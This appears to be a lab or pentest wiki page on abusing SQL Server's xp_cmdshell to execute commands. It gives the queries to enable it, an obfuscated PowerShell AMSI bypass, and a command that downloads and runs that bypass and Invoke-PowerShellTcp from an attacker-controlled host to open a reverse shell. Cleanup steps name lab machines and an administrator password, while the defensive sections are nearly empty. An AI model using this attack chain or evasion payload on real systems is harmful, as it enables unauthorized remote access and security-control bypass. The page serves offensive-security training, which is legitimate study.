Executing Commands

xp_cmdshell could be used to execute commands on the SQL Server.

Attacking

How it works

xp_cmdshell is a SQL Server functionality that is disabled by default. However it can be enabled using sp_configure. It spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account.

Executing the attack

In this example and screenshots mssql-cli is used, but this also works with Heidisql in the query tab.

1. Enable xp_cmdshell with the following commands:

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

2. Execute commands with xp_cmdshell:

EXEC master..xp_cmdshell 'whoami'

3. Gain a reverse shell and execute commands by executing the following query after doing the following:

• Create a webserver directory to host some files.

• Download Invoke-PowerShellTCP

• Save a amsi bypass in amsi.txt, for example.

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

EXEC master..xp_cmdshell 'powershell iex (New-Object Net.WebClient).DownloadString(''http://192.168.248.3:8090/amsi.txt''); iex (New-Object Net.WebClient).DownloadString(''http://192.168.248.3:8090/Invoke-PowerShellTcp2.ps1'')"'

This query will download and load into memory the amsi.txt file and then the Invoke-PowerShellTcp script creating a reverse shell. These should be hosted on your webserver on the attacking machine. For more information about this technique check out:

pageReverse shell trick

Cleanup

Execute the following queries on WEB01 to disable xp_cmdshell again:

EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
EXEC sp_configure 'show advanced options',0
RECONFIGURE

Do the following to clean up the constrained delegation:

1. Login to DC03 as Administrator with the password Welcome01!.

2. Execute the following command to remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute from DATA01.

Set-ADComputer -PrincipalsAllowedToDelegateToAccount $null -Identity data01

3. Execute the following command to remove the FAKE01 computer we created:

Get-ADComputer fake01 | Remove-ADObject

Defending

Recommendations

• Sysadmin users can enable xp_cmdshell, so limit these users.

Detection

References

xp_cmdshell (Transact-SQL) - SQL Serverdocsmsft